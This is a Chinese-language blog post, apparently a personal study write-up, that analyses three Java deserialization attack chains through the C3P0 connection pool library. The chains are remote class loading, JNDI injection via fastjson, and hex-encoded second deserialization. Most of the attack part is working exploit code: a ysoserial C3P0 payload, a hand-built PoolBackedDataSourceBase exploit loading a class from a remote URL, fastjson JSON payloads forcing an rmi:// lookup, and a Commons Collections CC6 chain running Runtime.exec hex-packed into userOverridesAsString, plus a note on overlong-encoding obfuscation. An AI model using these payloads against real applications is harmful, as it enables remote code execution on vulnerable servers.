先看看C3p0是干什么的

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

说实话,还是没能理解在开发中的作用,还是得开发实战一下才能理解。。。
依赖

1
2
3
4
5
<dependency>  
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

C3p0主要打的是如下三种方式

  • URLClassLoader 远程类加载
  • JNDI 注入
  • HEX 序列化字节加载器反序列化攻击

URLClassLoader 远程类加载

利用

先看利用再跟链子,这里利用直接将ysoserial的jar包导为依赖利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package FastjsonPoc;  

import ysoserial.Serializer;
import ysoserial.payloads.C3P0;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class C3p0Test {
public static void main(String[] args) throws Exception{
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:8866/:test");
byte[] serialize = Serializer.serialize(object);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream oos = new ObjectInputStream(byteArrayInputStream);
Object o = oos.readObject();
}
}

:test这个即执行命令的恶意字节码,在这个字节码路径用python起个服务用于远程类加载

运行即可弹计算器成功

分析

这里先尽量尝试自己分析一遍流程

1
2
3
4
5
6
7
8
9
10
11
readObject:205, PoolBackedDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:17, C3p0Test (FastjsonPoc)

从调用栈可以发现,最终是来到PoolBackedDataSourceBase类下的readObject方法执行的命令
image-20240411191526647
这个if判断完计算器被弹出,继续跟进,这里先看结果
image-20240411191541140
最终是在com/mchange/v2/naming/ReferenceableUtils.class下进行的实例化,由于是用的ysoserial所以这里的代码都是反编译的,还是不用这个,看原本的代码进行分析,这里自己尝试分析了一下,但是自己还是无法独立理清整个逻辑,写不出exp,tcl。。。
这里先尝试自己写个最后利用的exp,利用ysoserial分析一下referenceToObject方法的参数
image-20240411191619194
这里可以看到第一个参数是Reference类的对象,里面含有我们的危险类和远程地址,其它的为null即可
image-20240411191630219
但是这个Reference类是一个抽象类,没法直接实例化,emmm,不知道大哥们怎么解决的,我这儿跑直接报错了,不过无所谓,继续往后看,在ReferenceIndirector#getObject()中调用了上面那个方法
image-20240411191650304
这里其实还有个lookup函数,但是有个if判断,可不可控这里先不管,然后其它就没啥了,继续往上看到PoolBackedDataSourceBase#readObject(),这里有个if判断

1
if (o instanceof IndirectlySerialized)

image-20240411191707458
这里的o必须要为IndirectlySerialized的实例才能执行getObject,调用完getObject后会将o强转为ConnectionPoolDataSource的对象,但是这个接口不能反序列化
image-20240411191722301
这个接口不能反序列化能理解,因为没有继承Serializable,这里为什么需要ConnectionPoolDataSource能够反序列化呢?其实看了很多文章这里都没有很明确的解释,我猜测是因为在序列化的时候对象o是要被序列化的,但是执行完getObject()后就被强转为ConnectionPoolDataSource的对象,这部分也是需要被序列化进去的,那么反序列化的时候就会执行IndirectlySerialized -> ConnectionPoolDataSource这样的转换,所以不能够反序列化的话就不行,这里其实自己也有点懵,先这样吧,到这里似乎反序列化就已经没法跟了,那么顺着看序列化去
来到PoolBackedDataSourceBase#writeObject
image-20240411191732084
到这里可以看到会先尝试序列化connectionPoolDataSource,无法序列化的化就进入catch,显示这里无法序列化,那么进入catch看看

1
2
3
4
5
6
7
8
9
10
11
{  
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try {
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
}
catch (IOException indirectionIOException)
{ throw indirectionIOException; }
catch (Exception indirectionOtherException)
{ throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + indirectionOtherException.toString() ); }
}

可以看到是indirector.indirectForm进行了处理,直接跟进这个方法

1
2
3
4
   public IndirectlySerialized indirectForm( Object orig ) throws Exception  
{ Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}

这里返回了ReferenceSerialized的对象,而它是可以被反序列化的

1
2
3
private static class ReferenceSerialized implements IndirectlySerialized

public interface IndirectlySerialized extends Serializable

这样connectionPoolDataSource就从不可序列化变为了可序列化,实际上已经是序列化的ReferenceSerialized的对象,到这里这条链就基本结束了

EXP

上面想写个直接利用的exp不是遇到了Reference没法直接实例化的问题了吗,在JndiRefConnectionPoolDataSource类下有个getReference()方法会直接返回个Reference对象
image-20240411191745624
利用该方法构造Reference对象放入恶意类和地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package ysoserial.test;  

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javassist.ClassPool;
import javassist.bytecode.stackmap.TypeData;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3p0Self {
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase pBS = new PoolBackedDataSourceBase(false);
Class<?> aClass = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
//反射获取connectionPoolDataSource属性,将它设置为恶意类
Field cPD = aClass.getDeclaredField("connectionPoolDataSource");
cPD.setAccessible(true);
cPD.set(pBS,new reference());

serializer(pBS);
unserializer("ser.bin");

}
public static class reference implements ConnectionPoolDataSource,Referenceable {
@Override
public Reference getReference() throws NamingException {
return new Reference("test", "test", "http://127.0.0.1:8888/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String username, String password) throws SQLException {
return null;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}
@Override
public void setLoginTimeout(int seconds) throws SQLException {

}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}

}
public static void serializer(Object obj) throws Exception{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
}
public static Object unserializer(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object o = objectInputStream.readObject();
return o;
}
}

同时,这个也能利用overlongencoding方法混淆
image-20240411191759620
但是最关键的类还是没能混淆掉,有待进一步混淆
image-20240411191813380

利用链

1
2
3
4
PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance

JNDI注入

分析

这条链是基于fastjson或jackson的,相当于是fastjson的链了
这条链的漏洞点在JndiRefForwardingDataSource#dereference下的lookup
image-20240411191837035
可以看到只要jndiName参数可控就可以造成jndi注入,它是通过getJndiName()方法获取,看看这个方法
image-20240411191849519
可以看到这里返回一个Name或者String的jndiName,但是这里只是获取,还需要找怎么赋值的,找了半天到这里没思路了,看其它的师傅到这里是先没找了,而是从dereference()处往上找,找到的是inner(),其实这个都没必要找,因为注释已经说了,只能用inner()调用
image-20240411191859125
继续往上找
image-20240411191923067
这里找的是int型的setLoginTimeout()函数,这里再搜索其实可以看到下面的结果
image-20240411191935534
委托至另一个实例方法,这里其实就是JndiRefConnectionPoolDataSource类下的setLoginTimeout()方法

1
2
3
public void setLoginTimeout(int seconds)  
throws SQLException
{ wcpds.setLoginTimeout( seconds ); }

这个wcpdsWrapperConnectionPoolDataSource类下的实例,所以会调用这个类下的setLoginTimeout()方法

1
2
3
   public void setLoginTimeout(int seconds)  
throws SQLException
{ getNestedDataSource().setLoginTimeout( seconds ); }

然后继续看下getNestedDataSource()方法

1
2
public synchronized DataSource getNestedDataSource()  
{ return nestedDataSource; }

这里nestedDataSource其实继续跟是DataSource的对象,但是看文章这里调试的话是JndiRefForwardingDataSource的对象,这里我尝试了简单的调用调试,发现它为null

1
2
3
4
5
6
public static void main(String[] args) throws Exception{  
Class<?> aClass = Class.forName("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource");
Method setLoginTimeout = aClass.getDeclaredMethod("setLoginTimeout", int.class);
setLoginTimeout.invoke(aClass.newInstance(), 10);

}

image-20240411191948939
不知道那些师傅是怎么调试的,直接拿着exp调的话感觉就比较难理解这一步,但是这里我也想不出啥办法了,所以先就这样吧
image-20240411191958748
拿着exp调试发现确实是JndiRefForwardingDataSource类,然后jndiName也是通过fastjson调用setter设置的,是在JndiRefDataSourceBase#setJndiName下完成
image-20240411192006733

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package ysoserial.test;  

import com.alibaba.fastjson.JSON;

public class C3p0Jndi {
public static void main(String[] args) throws Exception{
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"JndiName\":\"rmi://127.0.0.1:8085/EyHEEMWG\", " +
"\"LoginTimeout\":0" +
"}";
JSON.parseObject(payload);

}
}

image-20240411192023241
这里利用yakit生成的一个恶意服务器,利用成功,ldap和rmi都可用
image-20240411192033071

利用链

1
2
3
4
5
6
7
8
9
10
11
#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName

#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

HEX序列化字节加载器

这里链可以用于不出网环境,也是一条二次反序列化链

分析

这条链入口在WrapperConnectionPoolDataSource类下的接收一个布尔值的构造函数上
image-20240411192106711
跟进parseUserOverridesAsString方法

1
2
3
4
5
6
7
8
9
10
   public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException  
{ if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}

这个方法首先判断userOverridesAsString是否为空,这里肯定是能满足的,因为是通过getter方法获取的,利用fastjson很容易调用,然后就是将userOverridesAsStringHASM_HEADER去掉还会去掉最后一个字符,HASM_HEADER是一个默认值
image-20240411192121764
所以序列化的时候加上就行,去掉最后一个字符给它随便补个东西即可,我们选择的是补个分号,然后是ByteUtils.fromHexAscii( hexAscii )方法,这个方法将十六进制字符串转换为字节数组,所以我们传入的应该是十六进制字符,然后就是最后一句返回了

1
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );

这段代码的作用就是将字节数组serBytes反序列化为一个Map对象,然后,使用Collections.unmodifiableMap()将这个Map对象转换为一个不可修改的Map对象,跟进fromByteArray方法
image-20240411192137372
继续跟进deserializeFromByteArray方法
image-20240411192149674
可以看到调用了readObject方法,所以这个也是一条二次反序列化链

EXP

这条链其实跟下来发现就很简单,但是其实构造exp的时候有点迷,利用fastjson反序列化的特性其实会先调用构造函数,其次才会调getter即getUserOverridesAsString()方法,那么其实第一次就不会触发到我们的危险序列化数据,所以这里其实是需要触发两次构造函数,编写exp其实就是将CC链的序列化数据进行16进制编码后加到userOverridesAsString中即可,这里先拿枫师傅的exp调试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class C3P0_Hex {

//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"eee");
lazyMap.remove("abc");


//反射修改LazyMap类的factory属性
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

return hashMap2;
}


static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);

//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);


}
}

image-20240411192203687
可以看到此时我们的序列化数据并没有传进来,然后后面会调用到下面这个方法
image-20240411192211483
这个方法的参数就是我们的恶意序列化数据,这里会判断oldValuserOverridesAsString是否相等或者都为空,否则的化就会将我们传入的恶意序列化数据赋值给userOverridesAsString,但是当我走到最后一句的时候计算机就弹出来了,所以肯定就不是在我们原先分析的那里触发的,我们跟进fireVetoableChange方法,会来到vetoableChange方法
image-20240411192220314
下面即是parseUserOverridesAsString方法和上面的就是一样的了
image-20240411192228566
这里的var即我们恶意的序列化数据,所以其实这里是在setUserOverridesAsString方法下将我们恶意的序列化数据赋值给var触发二次反序列化的
所以其实下面这个payload也是可以的

1
2
3
4
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";

反而这里的第一个payload没太理解,那里调试也是走的setUserOverridesAsString,先不管了,因为最后是由readObject解析序列化数据,所以这里同样可以利用overlongencoding
image-20240411192239440
可以看到只需要用JavaAgent hook一下即可代码都不用改,下面这是原本的样子
image-20240411192248247

利用链

1
2
3
4
5
6
7
8
9
10
#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
C3P0ImplUtils#parseUserOverridesAsString ->
SerializableUtils#fromByteArray ->
SerializableUtils#deserializeFromByteArray ->
ObjectInputStream#readObject

总结

中间还是有很多迷惑点的,但是就先这样吧,感觉用CodeQL找应该会有不一样的感觉吧,等学会了怎么写查询再来看看

参考

【Web】浅聊Java反序列化之C3P0——URLClassLoader利用-CSDN博客
https://drun1baby.top/2022/10/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BC3P0%E9%93%BE
https://goodapple.top/archives/1749
https://xz.aliyun.com/t/12286